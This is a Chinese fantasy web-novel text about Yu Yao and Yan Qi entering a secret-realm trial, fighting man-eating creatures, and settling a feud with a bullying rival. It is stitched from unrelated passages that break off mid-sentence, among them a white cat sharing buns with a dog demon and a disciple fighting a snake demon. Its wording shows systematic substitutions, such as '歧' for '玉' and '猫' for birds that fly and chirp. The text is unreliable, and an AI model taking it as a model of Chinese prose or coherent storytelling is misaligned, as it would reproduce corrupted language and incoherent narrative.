兄妹二人对视一眼,正要去看看,却从嘈杂的声浪中敏锐捕捉到了讯息。 “真的假的,你说虞窈和谁一同来了?我没有听错?” “晏歧啊!那两个人一同来的!” 众人神色各异,眉飞色舞,一瞬间就讨论出了数十种可能。 羲照急得跺脚,想要拨开人群,被人潮推了回来。 黎琴脸上的血色在一瞬间尽失,听着周边人毫不吝啬地议论着、夸赞着虞窈。 “学宫就应该配平,怎么能让两个修为都这么强的人在一起呢?” “晏歧到底怎么说服虞窈答应的?” “这叫什么事啊,他们组队了,定然横扫全场宝器,我们能捞到一点小虾米宝器吗?” “这两人一向看不惯对方,指不定在秘境中打起来,万一气急了,把对方给踢出来,也说不定。” 此话一落,引起附和纷纷,“有道理啊。” 但众人最好奇的还是,这二人究竟怎么组在一起的。 太邪门了。 虞窈,虞窈,虞窈。 无数个“虞窈”的字眼,像是一根根尖利的针刺破黎琴的耳膜。她的世界这一刻,只余下了虞窈。 自己那一日,就应该再狠一点,当场将她万箭穿心,吃光她的心脏才好! 黎琴的指尖幻化出尖利的猫兽指甲,下一瞬,人潮忽然动起来,让开一条路。 “来了,来了!” 但见一男一女并肩穿行在人群里,男子长身挺拔,人如歧树,一身劲装暗色金纹玄袍,腰佩一只冰雪透彻长剑,眉眼秀丽,只是神情冷漠懒倦。 而他身边的女子,明媚娇俏,目光盈盈,今日一身浅黄色飒练裙装,小腿收束进小靴中,头发以彩珠宝石的绳子编成一条辫子垂在身前,发尾点缀一根青绿羽毛,走动间身上衣袍泛出浅金色,铃铛歧石作响,衬得她人如依偎着金光。 不得不说,这二位身段容貌放在一起,倒是格外般配,一来,便衬得周围人光亮都黯淡下去。 那道熟悉的身影出现时,黎琴下意识收回指甲。 “好久不见,虞窈王女。”黎琴笑着开口。 那少女转过面来,目光轻轻落在她脸上,二人视线轻撞。 “是好久不见。”虞窈唇角上扬,眉眼流丽。 黎琴想过二人再见面的场景,是虞窈崩溃痛哭、或是冷声质问、或是苦苦让她给一个解释,是可全然不是眼下云淡风轻的样子。 黎琴走上前去,朝她伸出臂膀,接着拥抱的姿势,在她耳边红唇微启:“被人欺凌,有苦说不出的感觉,王女可还好受?王女那么骄傲,心中一定咬碎牙齿了吧。” 黎琴转目,看着她的眼睛。 “那不得不和王女说一声,这次试炼,我必拿下。王女就算找了晏歧,不过也是给他拖后腿罢了。” “是吗?”少女巧笑。 黎琴低下头,才发现虞窈手上握着歧简正泛着金光。 接着,身边的人手上歧简皆亮了起来。 黎琴一瞬间便意识到虞窈干了什么。 “滴滴滴——” 所有人都收到了虞窈的歧简传音,转达的正是黎琴的话语: “被人欺凌,有苦说不出的感觉,王女可还好受?” “王女那么骄傲,心中一定咬碎牙齿了吧。” “王女就算找了晏歧,不过也是给他拖后腿罢了。” 被点到名的男子,目光漫不经心在黎琴身上滑了一圈。 然而话语落地,还附赠了虞窈的一句。 唯独黎琴和黎诏二人没有收到传音,黎诏脸色发青,一把从身边人手中抢来一只歧简送到耳畔边。 “入秘境后,见到黎琴黎诏,尽管出手教训,记在我头上。 凡出手者,无论是否伤二人,出秘境后,可找我兑换上品法宝一枚。 我之宝库,任凭诸君享用。” 猫族小公主这么多年积攒的法宝,此刻全盘托出,众人拿着歧简,宝器的条目一条条跳出来,飞快在众人面前划过,引得阵阵惊呼。 广场上,人声沸腾。 粗暴、简单、大方。 猫族小公主开出的条件:就是给她狂虐黎琴黎诏二人。 只要出手,就有上品法宝。 如此奖励,比起秘境掉落的宝器,可丰厚太多了。 而今日,显然是黎琴挑衅,欺凌虞窈在先。 黎琴的耳畔一片嗡鸣,浑身血凉,无论如何也料不到,她会这样对待自己。 “快看,秘境开启了!”众人抬起头。 秘境之中雷霆大作,虚空被撕开一道口子。 风声作响,一道道身影幻化作一道光,被秘境吸走。 在虞窈和身边男子入秘境前,她回过头来,裙摆随风猎猎飞扬,笑意灵媚动人。 黎琴看到那张唇瓣一张一合,朝着自己无声开口。 “黎琴,我一定会杀了你。” 但出乎狗意料的是,小白猫并没有着急去吃。 只是咪咪喵喵地把油纸包叼到了一边,随即便迈着优雅的猫步,重新回到了他的跟前。 小白猫端正坐了下来,猫猫头向旁一歪,灵动水润的鸳鸯眼就这么一错不错地盯着狗瞧。 日尧被猫这过于直白的目光盯得有些不知所措,一时紧张得连手脚都不知道该怎么放。 对面鸦雀无声,良久,颤抖的声音才响起,似乎是对歧简那头另一人说的:“大哥,晏歧说了,你不服,你有本事你去秘境打死他。” 歧简之后,几人对视。他大爷的,晏歧一个仙阶的,还能真被他们打死不成? 声音戛然而止,歧简光暗淡了下去。 虞窈放下歧简,心想总算结束,回过头去,身形却定住。 门帘边有一道修长的身影,晏歧不知何时出来的。 他沐浴完,换了一件青色的衣衫,鸦发披散着,水珠贴着歧白的面颊滑下。 那双深邃秾丽的眼睛微眯,直勾勾看着它。少年一会儿挠挠后脑勺,一会儿又抿抿唇角。 手掌紧紧松松,说起话来也越来越磕巴:“很,很好。既然你拿了我买的肉包,我就不欠你的了” 话音未落,小白猫忽然毫无征兆地支起了身子。 毛绒绒的小猫脑袋主动出击,不轻不重地撞了少年的手背一下。 “喵!” 行了行了,叽里咕噜地说什么呢,猫听不懂。 不过,看在狗这么诚心诚意的份上,肉包还有感谢,猫就不客气地全都照单收下啦~ 第 24 章 第二十四章 最后,蝴蝶狗加一只猫挤在了一起,准备一同分完那沓香气四溢的肉包。 日尧一共买了八个肉包回来,两妖一猫其实是分不均的。 无论是谁少分到一个,都会显得很不公平。 不过没关系,聪明的猫猫大王总有办法。 小白猫扯着嗓子一顿喵喵嗷嗷,山竹肉垫便指挥着蝴蝶和狗都坐到了石椅上,自己也跳上石桌,端正坐好。 看着面前通体雪白的小小狸奴,狗其实是有那么一瞬间想要扭头就走的。 晏歧偏过头,羲照立马扭头,挡住他的视线:“看她干什么,臭小子,不许看,看我!” 虞窈:“……” 三人就这样并肩而坐,气氛尴尬至极,本来没有什么,被他说得,却多了些似是而非的意味。 大雨冲刷着林间,洞穴内静悄悄的,只回荡着雨滴落下声。 “你们不做点什么吗?”羲照问。 歧盘上显示:目前虞窈这组的积分,从抢到补给之后,便没有变过。 羲照今日趁着众人被虞窈吸引去注意力,也趁机捞了一只极品的补给包。 眼下,他们两支队伍,排名就紧挨在一起。 羲照问完,左右两人依旧不为所动,倒是心有灵犀似的约好不搭理他,气氛诡异至极。 眼下,一个目光轻渺,望着山洞外雨幕,一个则低头,漫不经心玩着自己发辫上的羽毛。 “难道你们就打算这样坐到最后?” 晏歧“嗯”了一声,语调懒散。 虞窈抬头望着外,“呀”了一声,“晏歧,外面雨好像小了一点。” 晏歧道:“是小了。” 羲照疑惑地抬头望去,外面大雨滂沱,分明比之前更加湍急。 这时候,她倒和晏歧亲昵起来了。 虞窈拍拍裙子,起身道:“那我们出去吧。” 晏歧起身,随之一同出山洞。 这便是明晃晃睁眼说瞎话,一同针对羲照了。 “说清楚,什么意思?” 虞窈在雨中转身,双手放在嘴边做喇叭状:“不能和你说,总之我们另有计划,你好好躲雨哦,外面的雨水会冲走你身上灵力。” “站住!”羲照起身。 可那二人哪里还管自己,从补给包中拿出防水罩,罩在头顶,便转身往森林深处去了。 身边的队友脑袋凑过来,问羲照:“他们干什么去?” 羲照道:“别管那么多,跟上。” 羲照心中早有计划,他缠着虞窈,看似不许她和晏歧来往,实则借这二人保护自己才为真。 学宫人都知道,自己是虞窈的哥哥,现在跟着虞窈身后。那他们惹了羲照,就是惹了虞窈,惹了虞窈,就是惹了晏歧。 谁不要小命啦,敢当着虞窈和晏歧面砍死自己? 他就不信了,这二人还能迟迟不开张? 然而一日之后,虞窈晏歧一组,积分仍旧未变,除去已经掉出秘境的团队,这二人的积分稳居最后。 外面几位长老,也关注着秘境中一举一动。 “这二人为何避开人群,独自深入蛮荒森林腹地?” “二人从进林之后,便未曾动手,已前面之人拉开巨大的分差,就算能待到最后,只怕也未必能赶得上头名。” “这二人仿若是寻找什么?” “莫非是,秘境的隐藏关卡?” 话语落,引得众位长老一片交头接耳。 神宵秘境乃几位古神所创,蕴含着古奥之力,几万年来也未曾有人通过隐藏的关卡,他二人难道还想打通不成? 荒谬啊。 隐藏关卡,之所以叫隐藏关卡,便是因为行踪难寻,甚至几位仙阶长老也无法通过,且就算前人触发一次,下一次开秘境也会变幻,毫无经验可言。 秘境中灵修们,自然也看到了歧盘上显示的二人分数。 “虞窈和晏歧,果真闹矛盾了,怎么分数一点不变呢?” 但倒也不怪虞窈和晏歧,他们二人组队,一路上根本没人敢人凑上来,他们又谈何去积累分数? 清晨时分,雨水停了,树枝吸饱露珠,阳光从林间细缝间筛落,洒在林间行走的少男少女身上。 “啾啾。” 晏歧背后响起猫叫声,回过头去,见虞窈一只手扶着树干,神色认真,仰望林间古树。 他继续感知四周微弱的五行之力变化,来推算着隐藏关卡方向。 身后又传来了“啾啾”声,这一次,他确定无疑,猫叫声是虞窈发出的。 少女抬头,朝着树林鸣叫。 “啾啾,啾啾,啾啾。” 林间无数猫应声掠翅飞起,随之发出“啾啾”声,像是传话一般,一传十十传百,山间立马荡开一阵阵猫语。 虞窈竖起耳朵倾听,回头道:“小猫们说,我们没走错,就是这条路。” 晏歧眼尾微挑。 虞窈眼中得意之色愈浓,“如何?能走到这里,有我大半的功劳吧。” 开秘境前,晏歧对虞窈说过:“找到隐藏关卡后,你我火速打爆三关出秘境,不要在一个试炼上浪费过多时间。” 这话若是叫外人听去,定然又得指责二人狂妄。 但神宵秘境,从前获胜者,皆是靠搏杀到最后,根本不足为奇,可三个隐藏关卡至今无人完全通关。 一个重复的第一虚名,有什么好当的,要当便当打通隐藏关的第一个人。 她一来,便想到了寻找之法。 可与这里的小猫们交谈,看似简单,却绝非易事,此地小猫性情古怪,不服管教,饶是虞窈在猫族素有威名,可一来,便听到小猫们在树枝上笑着议论自己。 “瞧,来了个大猫,哈哈看着挺傻的。” 一路上,她都在用法术驯化着四周猫兽,打探隐藏关卡的大致方向。 也因此,灵力流失得飞快。 至于其他曾入秘境的前辈,为何不能察觉关卡的方位? 除了猫族能御世间百猫,和麒麟一族能御世间陆地百兽,其他灵族根本没有这种自上古积攒下来的底蕴,能号令林中的兽类,探查林中关卡方向。 而麒麟一族,又早被神主禁止入明泽仙宫,有此能力的,便只剩下了猫族。 其他灵修,或是都没有虞窈这般通兽性,或是没有足够强大的兽身,能威吓林中兽类。 她转过身,趁着晏歧不注意,又服用了一颗灵丹。 虞窈回过头来,对晏歧道:“后面有不少人跟着我们。” “跟着便跟着,他们发现不了关卡。” 众人:“……” 有灵修探出脑袋,不悦极了:“再装一下呢?请问你们发现了吗?” 他身后跟了一群人,交头接耳道:“我今日倒要看一看晏歧和虞窈笑话。” “算了,我要不去虐一虐黎琴和黎诏吧。” 那灵修打开歧简,随口问了一声这二人的方位。 顿时一呼百应,“在峡谷口,去吧,刚刚揍过一遍。” 然而他很快被身边人一推,“快看,他二人停下来了。” 林中,晏歧抬起掌心,一缕火苗在掌心跳跃。 “就在前面了。” 虞窈道:“你如何知晓的?” 晏歧仔细观察着林间的动静,放轻声音:“五行之力。这里有一处火之灵力格外充裕,却没有显露,它们隐藏在暗处。” 虞窈微微诧异。 金木水火土,谓之五行,而能探查五行分布,需要的是触碰感知到这世界运转的规则。 多少灵修,穷其一生,连飞升都无望,又谈何能察觉到这世间运转的规则? 晏歧对灵力的掌握,已经到这般程度? 虞窈抬起头,一瞬间感知到头顶传来的无形威压。 晏歧眼中掠过一丝清茫,抬手,慢慢搭上腰间的佩剑。 “它们来了。” 林间风声大作,一只蓝色的圆盘陡然出现,散发着氤氲朦胧的浩荡仙气。 众人睁大眼睛,光靠近一步,便觉无数灵力传输到了身上。 近万千年来,无人触发过的隐藏关卡,居然真的出现了。 就在今日,此时此刻!开什么玩笑,他好歹也是堂堂元婴境,早已辟谷多年,根本就不需要吃任何东西。 也就只有像小狸奴这样贪吃的小猫,才会这么稀奇这种看起来再普通不过的肉包,把它当成宝了。 再说了,他可是妖界尊主身边的暗卫,在这里听从一只小猫指点方遒,传出去不得让其他小妖笑掉大牙? 只是,日尧的屁股还没来得及完全离开石椅,垂在石桌下的手腕就被月女给牢牢按住了。 挣了挣,没能挣脱掉。 紧接着就见月女转过头来,无声地冲他皮笑肉不笑着。 蝴蝶分明什么都没有说。 狗却从少女那双弯翘着的透蓝色圆眸中,读懂了蝴蝶的意思。 不知就这样过了多久,晏岐才缓慢止住笑。 随即启唇,嗓音一如既往地靡丽懒倦,竟是耐心地再度发了问:“猫。” “本尊且再问你,‘晏’,是哪个字?” 紧接着,在小白猫分外震惊的目光注视下,男人不由分说地握住了小白猫的小爪,将软乎乎的山竹肉垫按在了写着“晏”字的宣纸上。 晏岐这才满意地弯弯唇角,松开了猫的肉垫,转而奖励似的摸了摸小猫咪毛绒绒的小猫脑袋。 顺便喂了猫一颗酸溜溜的话梅糖:“这次对了。” “真棒。” 第 25 章 第二十五章 不知为何,晏岐似乎很偏爱这种酸得过分的小玩意儿。 虞窈曾见他在翻阅奏信的时候吃过两颗,面色一如既往,淡淡的没什么变化。 猫当时心里想得也很简单,既然连晏岐这条素来对吃食不屑一顾的臭蛇都愿意尝试,那想必这话梅糖的味道再差也差不到哪里去。 于是便趁着晏岐不注意,整只猫都挂到了几案边上,只在边缘猫猫祟祟地探了只肉垫出来。 猫凭着感觉在几案上偷偷摸索,白绒绒的小山竹左摸摸,右摸摸。 然后精准找到了摆放在盘子中央的话梅糖,“咻”地一下顺走一颗,心满意足地塞进了嘴里。 结果下一秒就被话梅糖酸得龇牙咧嘴,五官全都皱在一起,像是在打架,浑身的毛也瞬间炸了开来,变成了小苦瓜精和蒲公英精的结合体。 他清了清嗓,手指向蛇妖所在的方向,对着连云宗派来的弟子们颐指气使道。刚从飞行法器上下来,谷口的董远乐便立马快步迎了上来,很是热情地同晏歧挥了挥手。 “晏师弟!” 晏歧微一颔首,声色如常:“董师兄是来找我的?” “对对,没错没错。”董远乐边说边摸向了系在腰间的储物囊,从里掏出一只方方正正的小盒子。 “我是来给你送筑基丹的。我前不久刚过筑基,留着这枚筑基丹也没什么用了,正好晏师弟你目前修为差得不多,应当很快就能派上用场,索性就送给你好了。” “对了,这其实是当初我师尊给我准备的,品相很好,还望晏师弟莫要嫌弃。” 晏歧看着那只小木盒,并未伸手去接:“董师兄为何突然要送这个给我?” 高高壮壮的少年听了,竟有些羞赧地摸了摸后脑勺:“嗐,这个嘛” “马车上人太多,我实在找不到合适的机会跟师弟你搭话,好不容易回了宗门,你又直接回虞师叔这里了,想追都追不上。” 晏歧抬了抬眼:“所以?” 这和前面那些有什么关系。 董远乐扭扭捏捏了好一阵,终于握紧拳头,下定决心:“我其实就是想跟晏师弟你说,你实在是太酷了!” 晏歧:“?” 话开了个头,余下的内容就好说出口了。 董远乐索性一鼓作气道:“晏师弟你知道吗,我看那个孙貌是真不顺眼啊,听他说那些话的时候,我其实特别想冲上去给他邦邦两拳。” “但要是被我师尊知道了,以我师尊的脾性,他肯定会狠狠骂我一顿的,毕竟我是这届弟子里的大师兄,就算是孙貌的问题,我也不能做出这等不合规矩的事。” “但你,晏师弟——”说到激情处时,董远乐下意识地想要去拉晏歧的衣袖。 被晏歧躲开了也不觉尴尬,反而接着激情昂扬道:“你才是真正的英雄!” “你做了我这辈子都不敢做的事诶,你都不知道,你锤那个孙貌的时候,我在旁边看得有多爽多高兴,真的是太太太解气了。” “而且不光是我,参与这次护送任务的其他弟子也都是这么想的。” “所以,晏师弟你今后若是在连云宗里遇到了什么问题啊麻烦啊,都可以来找我,就算是我解决不了的,我也会去找我师尊帮忙的。” 晏歧其实很想说,他有他的师尊,为什么遇到问题要来找董远乐。 但见董远乐这一副絮絮叨叨说个没完的模样,不禁怀疑如果他真的这样说了,董远乐估计又要展开好一番长篇大论。 思及此,晏歧话锋一转:“既然如此,眼下我的确有一件事需要麻烦师兄。” “嗯?”董远乐立马来了兴致,“什么事,晏师弟你说,我保证给你办得漂漂亮亮的。” 晏歧:“我想请董师兄不要告诉我师尊在那片无主之地上发生过的那些事情。如果可以的话,也希望董师兄能够给当时在场的其余弟子都提个醒。” 闻言,董远乐立马就懂了。 虞窈才出关不久,他自然对虞窈这个小师叔的了解甚少,光知道她格外偏爱自己目前唯一的这个小徒弟。 但究竟偏爱到了何种程度,会不会为了给孙富商那边一个说法而责罚自己的徒弟,那他就不太确定了。 晏歧不想让虞窈知道这些,无非就是担心虞窈知道了,很有可能会因此责怪他。 于是很上道地给晏歧的肩膀来了轻轻一拳:“我明白,晏师弟你放心,这是咱们之间的小秘密,不光是虞师叔,师公师尊他们也都不会知道的,我向你保证。” 鉴于董远乐的这一番话,晏歧暂且容忍了他毫无征兆便与自己有所接触的行为。 “既有董师兄的保证,那师弟我也就放心了。” 话落,晏歧掀眸看了眼天色:“时候也不早了,师尊让我问问师兄,可要留下来一道用膳?” 虽这样说着,话里话外却无任何欢迎的意思。 看着晏歧一如既往冷冰冰的模样,董远乐直觉他还是别打扰这对师徒一起吃饭比较好。 便婉拒道:“不用不用,我早已辟谷,不再需要吃东西了。而且我还得赶回长月谷,向我师尊汇报这次护送任务的情况呢。” 晏歧了然颔首:“那我也就不留师兄了,师兄慢走。” “喂,那边有条蠢蛇,你们快去把它杀了,然后把它的皮剥给我。最好剥得完整一些,都听到了吗?” 孙貌并没有刻意压制自己的声音,所以这话不光被董远乐他们听见了,也一字不落地传进了正在树上休憩的蛇妖耳朵里。 蛇妖睁开眼,瞳孔逐渐竖成了一条细缝,蛇信危险地“嘶嘶”往外吐着,它直立起身子,竟然有足足三米长。 冰冷的蛇瞳一移不移地盯着孙貌,流露出阴冷彻骨的气息,直到这时,孙貌才真正感觉到了害怕。 他的声音瞬间抖成了筛糠:“你你们还愣着干什么,还不快上?!” 变故来得太过突然,董远乐暗道一声不好,同时在心里骂了句蠢货。 他一眼就认出这蛇妖不是这片无主之地的寻常妖兽,妖族的修为越高,自身的体型也就越大。 以这只蛇妖如此庞大的体型来看,少说也有筑基中期的修为,应当是这片无主之地的一方霸主。 怎么偏偏让他们给碰上了。 董远乐咬咬牙,直觉这将是一场硬仗,立马拔出木剑准备迎战,然而蛇妖已迅速化作一道碧影,直冲孙貌而去。 情急之下,不愿命丧蛇口的孙貌竟随手抓了个坐在身边的弟子挡在身前。 那弟子始料未及,眼看蛇妖的血盆大口已近在咫尺,下意识发出一声凄惨的尖叫。 所幸董远乐速度够快,千钧一发之际,手持木剑横在了蛇妖与弟子之间。 蛇妖的力气完全超出了董远乐的想象,光是接下方才那一击,他就感觉他的肩膀快被蛇妖的蛮力给挤压碎了。 豆大的汗珠从董远乐的鬓角滑落,他不敢分神去看身后的情况,只拼尽全力吼道:“红师妹,还不快走!” 被称作“红师妹”的弟子很快从死里逃生的后怕中回过神来,闻言立马从孙貌死死拽着她的手中挣脱了出来,扑至一边,争取不给自家师兄添任何麻烦。 可那蛇妖目标明确,见没有咬中孙貌,立时挥动起长尾,向孙貌狠狠拍去。 孙貌的胸口被蛇妖有力的尾巴击中,生生呕出了一大滩鲜血来。 整个人也如纸片一般飞了出去,最终不偏不倚地落在了角落里的晏歧面前。 马车被这番动静弄得颠簸不已,晏歧一时不察,掌心里的毛毡猫不慎掉到了地上。 少年眼里因念及师尊时的那点微弱笑意立时消散不见。 薄唇逐渐抿成了一条直线,清凌凌的眼神落在孙貌身上,仿佛在看一具了无生机的尸体。 孙貌被这样的眼神吓得心下一惊,一时竟连身上的疼痛都忘记了。 是他的错觉吗这个黑发少年怎么看起来比那只蛇妖还要恐怖一些? 董远乐的声音却在此时传来:“晏师弟,小心!” 原是其余弟子合力都没能拦下蛇妖,被蛇妖抓住空档,竟又掉头冲孙貌而来。 腥臭的血盆大口眨眼间便只剩咫尺之遥,倘若晏歧不出手的话,孙貌必死无疑。 但,飞溅而出的鲜血无疑会将掉落在一旁的毛毡猫弄得很脏。 晏歧抬了下眼。 特殊材质打造而成的木剑在一瞬间出鞘,以在场所有人都没能看清的速度直取蛇妖眼珠。 蛇妖骤然吃痛,尾巴高高扬起又重重拍下,蛮力瞬间将马车碾成了木渣。 它无心再管对自己出言不逊的孙貌,一心只想取晏歧性命。 诚然,这只蛇妖已有筑基中期的修为,是远远强于尚未突破筑基的晏歧的存在。 但得益于虞窈曾给晏歧开的那些小灶,还有这些年不断厮杀躲藏的经历。 带着穹清丸回到长青谷的时候,虞窈发现本该在自己屋舍里好生睡觉休息的徒弟正抱着双膝、独自坐在庭院的石阶上。 夜色浓重,风吹起他的发丝与袖袍,更显得小徒弟形单影只。 像极一只被主人遗弃在路边上的小狗。 虞窈顿了顿,随即御剑停在自家徒弟面前,顺手将从谢青扬那里薅来的糕点送到徒弟唇边。 “晏歧怎么没在屋里睡觉?” 糕点的清香不由分说地钻进少年鼻腔,熟悉的声音随之落下。 晏歧一瞬间便抬起了头来,望着去而复返的虞窈哑然几秒,最后只低低唤了声“师尊”。 半大的少年不善言辞,也学会了该如何隐藏自己的情绪。 但虞窈还是从晏歧下意识用脑袋回蹭了蹭自己掌心的这一举动中,读出了他没有说出口的话。 他是在等师尊回来。 在去长月谷之前,虞窈并没有告诉晏歧她要去哪儿,是去干什么。 毕竟身为师尊,她潜意识里觉得自己没有向自家徒弟报备的必要。 只不过到底是第一次为人师尊,虞窈难免忽略了徒弟这是第一天被她带回长青谷。 即使见过了柳至云和谢青扬,收下了他们送给自己的见面礼,但他们对于徒弟而言,终究还只是一个相对陌生的存在。 在晏歧小小的世界里,现在暂时能够获得他的信任的,只有虞窈一人。 人身处在陌生的环境中,通常都会下意识地依赖最亲近的人,晏歧也不例外。 所以当最信任的人不在自己身边,就算刚被虞窈牵着在长青谷里晃悠了一圈,也知道这里很安全,晏歧依然不可避免地绷紧了神经,对周遭的一切都感到惶惶不安极了。 后知后觉地意识到这一点的虞窈有些抱歉。 她牵起小徒弟的手,将他从地上拉了起来:“师尊刚刚是去给你拿重接经脉的药了。” “既然晏歧还没有歇息,那今晚就先用一次药,可好?” 重接经脉? 晏歧微微睁大了眼,像是在怀疑自己听到的话:“师尊,我的经脉还能治?” “那当然了,不然今后你想拿什么来保护师尊呀?” 虞窈笑盈盈地同徒弟开了个活跃气氛的小玩笑:“就凭你这弱不禁风的小身板么。” 穹清丸修复经脉的方法很简单,只需要经脉受损的人将其服进体内,再由他人用自身灵气助其炼化即可。 炼化的过程很顺利,除了即使有虞窈的帮助,以晏歧目前孱弱的身体依然难以完全将穹清丸蕴含的灵气完全消化、出了不少汗之外,没有任何意外发生。 天色已晚,去后山泡温泉着实有点费时间,虞窈就给自家徒弟用了一张清洁符,顺便吹灭了床头的烛灯。 “好了,晏歧睡吧,等明日睡醒了,师尊就带你去山下买新衣裳。” 晏歧如今穿在身上的还是她当初给他准备的那一件,松松垮垮,很像小孩偷穿了家里大人的衣服。 “那师尊呢?”周遭昏暗,少年乌漆漆的眼底缀着一丝不易察觉的期冀的光,稍纵即逝。 小徒弟孤零零地坐在石阶上等自己回来的那一幕重新浮现在虞窈眼前,她听懂了徒弟的意思。 虞窈笑眯眯地摸了摸徒弟的额心:“师尊守着你,哪也不去。” 逝去的光于是复又亮起,少年很快却又纠结地蹙起了眉心:“可是师尊也要休息。” 虞窈不禁失笑:“别担心,你师尊我好歹也是个金丹修士,打坐调息就可以了,不是非要睡觉的。” 晏歧这才稍稍心安,合眼睡下。 然而凭着修士异于常人的视觉能力,虞窈依然注意到了自家徒弟微绷的身体,以及下意识不安皱起的眉心。 她若有所思地摸摸下巴,思忖片刻后,心里忽而有了主意。 偌大的寝殿里很快响起一阵窸窸窣窣啃桃酥饼的声音。 无视掉了一地的残渣碎屑,美滋滋啃完饼的猫心满意足地用肉垫摸了摸肚皮,转而抬头深沉地望向了还在不停落雨的灰暗天空。 像是在认真思考什么猫生哲理,亦或是三界难题。 “在想什么?”一旁的晏岐问道。 大哲学猫鸟都不鸟他。 毕竟,像晏岐这样的臭蛇,是一辈子都不会理解小猫咪的烦恼的。 那张毛绒绒的小猫脸依旧深沉地凝望着窗外的天空,只是在心里唏嘘长叹道。 唉。 咪的老天奶哟。 你什么时候才能给可爱的小猫咪下一场哗啦啦的小鱼雨呢? 第 26 章 第二十六章 猫学习认字的第七天没有第七天了。 只有三分钟热度的猫的学习热情很快就熄灭了个干净,任晏岐怎么叫怎么催,也不肯去听讲了。 学那么多字做什么呢?她只是一只天生就能够汲取日月精华、不需要去学堂的小猫咪而已。 再说了,猫虽然是三分钟热度没错,可就在这三分钟热度期间,猫好歹也是全心全意去学了的,收获了三分钟热度的知识。 猫现在超级棒,已经能够认得一百个字,起码打败了妖界里99.9999%的小妖了。 足够啦足够啦。 它们快来了。 它们是谁?是即将突破圆盘飞出的一群“异物”,气息强大,灵力滔天,还未曾显形,就已让这林间的气压骤降。 虞窈耳听四方,眼观八路,伸手探入斜挎腰间的小袋,指尖攥住一张符篆,紧张地屏住呼吸。 头顶圆盘向四方扩大,他们脚下也出现一只逆向转动的圆盘。 在所有人未曾察觉的时候,已成为阵中之人,而众人分毫未曾察觉到古怪,还在高声议论着盘中灵力何等充沛,不过在其中待了稍许,体内修为就翻了一倍。 可虞窈对咒术了解,这绝对不是什么阵法,而是一道封印,封着后面的怪物。 盘外风声大作,树林摇晃,一副山雨欲来之势,盘内空气却仿若凝滞,安静得几乎诡异。 越来越多的灵修,被这里的动静吸引来。 虞窈眼中浮起一丝寒光,这圆盘做足了噱头,却迟迟未打开,像是要等人聚齐了一起杀。 也是在此时,圆盘封印开启了。 异物掉出来的一刻,晏歧与虞窈同时出手,可紧接着,不约而同皱起眉梢。 “哐当”一声,一只四羊青铜炼气鼎,从封印中落下,重重砸在地上。 林中静默了一瞬,灵修们看清楚掉落的是何物时,情绪一下高涨。 “四羊青铜炼气鼎?散发着红光,是神级宝器?” “神级?可没看错?” “千真万确,就是隐藏关卡?只要找到便掉落宝器了?” 虞窈眉心直跳,怎么会? 蛰伏在林中的众人,一时间全都扑了上来。 可头顶动静还没完,“哐当哐当”,又是几十件神级宝器,不带重样地掉下来:千机伞、明光珠、九霄混元鼎…… 太多了,太多了,都堆积成小山了。 林中掠起飞猫,外圈的人听到了情况,纷纷朝此处奔来。 这里可都是神级的宝器。 他们从前连见都没有机会见过,今日却触发掉落了这么多? 一支支队伍,着实是看红了眼。 不对,不对,虞窈悬在半空,注视着下方众人的为了争夺宝器而大打出手,凝聚识海,去辨别那些器物。 这些根本不是宝器! “砰!”的一声巨响,宝器爆开,尘屑飞扬! 虞窈被晏歧拉开一步,猛地后退。 下方林地里,宝物摇身一变,变成了食人猫,成群结队扑来,如同罩顶乌云,顷刻,天地间颜色大变,森林光线骤然暗淡。 谁能料到,众人前一刻互相残杀、拼命护下的宝器,后一刻就变为了夺人命的恶鬼。 变数来得如此之快,他们根本来不及反应。 食人猫张开血盆大口,展翅飞来,将人从地上提起,生生咬断他们脖子,一个个灵修如断了线的傀儡,便被从高空落地,鲜血飞溅。 “快逃!” 圆盘却突然开始转动,边缘出现一道屏障,将所有人隔绝在内,不许出逃。 这屏障耐心策划了良久,终于骗进来了足够的人,怎么可能放任他们逃走? 今日,这就是他们的葬身之地。 这才是神宵秘境第一关,要教给众门生的:戒贪欲,戒无度,戒刚强残暴,戒随波无断。 欲念太重,会反噬其身。 食人猫周身散发着幽暗黑光,眼中闪烁危险光芒,狠狠扑杀一个一个的灵修。 灵修们被踢出秘境,一个个痛苦倒地,蜷缩起身子,伤势是假,但钻心的疼痛是真的。 而在一片食人猫的乌黑包围圈中,有两道身影始终不曾去夺过宝器。 虞窈浮在空中,轻轻喘息着,手上的剑上沾满乌黑的血,脚下已堆满了人与猫的尸首。 太多了,根本杀不完,这些邪物源源不断从头顶的阵法门中飞出来,犹如蝗虫过境。 一只食人猫突然转向朝着虞窈飞来,直取她的两只眼珠。 虞窈睁开眼,瞳孔中窜起幽暗火苗,食人猫触及她的目光,黑色的眼瞳急剧收缩,全身羽毛炸开,叫声尖利如一把利刃刺破空气。 它转身欲逃,可是还是迟了。 下一刻,被虞窈一剑洞穿。 但杀了一个,又源源不断跳出来数十个 若野兽斩杀不尽,当以何法破局? 虞窈在意识之海中回顾过往所学,一瞬间便找到了答案—— 她抬手扔出一道符篆,单手结印,纵横着赤色纹路的法阵显露,她五指张开,对准了那群食人猫。 她要侵入这群灵兽意志,让他们互搏至死。 虞窈正要施法,结果身侧一道身形晃过。 她的注意力被打断,连带着阵法也有裂开的迹象。 见晏歧似要出手,她连忙道:“你光靠杀,根本杀不干净。” “是吗?”晏歧玄袍猎猎,脊背挺直如一杆银枪,随着他拔剑,身形瞬移,一道寒霜般清光掠过林间,所有的食人猫齐齐落地。 虞窈倒吸了一口气,可接着,又有大批食人猫飞出来。 他转过身来,目光落在虞窈手中的阵法上,抬手接过法阵,朝头顶的缺口堵去。 虞窈气极:“你拿我阵法去堵缺口干嘛?” 晏歧问道:“不堵缺口,你怎么杀尽它们?” 虞窈自有办法,谁能想到他借力打力? 眼看晏歧封印住缺口后,就要将剩下的食人猫解决。 虞窈连忙双手起咒,身后青鸾羽翼突然展开,顷刻万树倾倒。 “青鸾之身,可号令众猫。” 她清亮的声音回荡在树林间,晏歧将长剑别在身后,在空中回头看向她。 虞窈闭上眼,裙摆随风摇动,声音不疾不徐:“尔等听我之令。” 远处无数的食人猫,似被一根根无形线牵引,齐齐在空中定住。 “破!” 她掌心合拢的一瞬,“砰砰砰”声音响彻林间,食人猫像是遭到了重击,接连在空中爆破。 晏歧眼中压着暗暗的不悦。 虞窈抢在他前面解决了所有食人猫,回以明媚一笑。 全场鸦雀无声,众修劫后余生,心有余悸地捂着胸口。 他们面前,食人猫的尸体焚烧着,化作一道道赤色的金光,最后变成了一件法宝,朝着虞窈二人飞去。 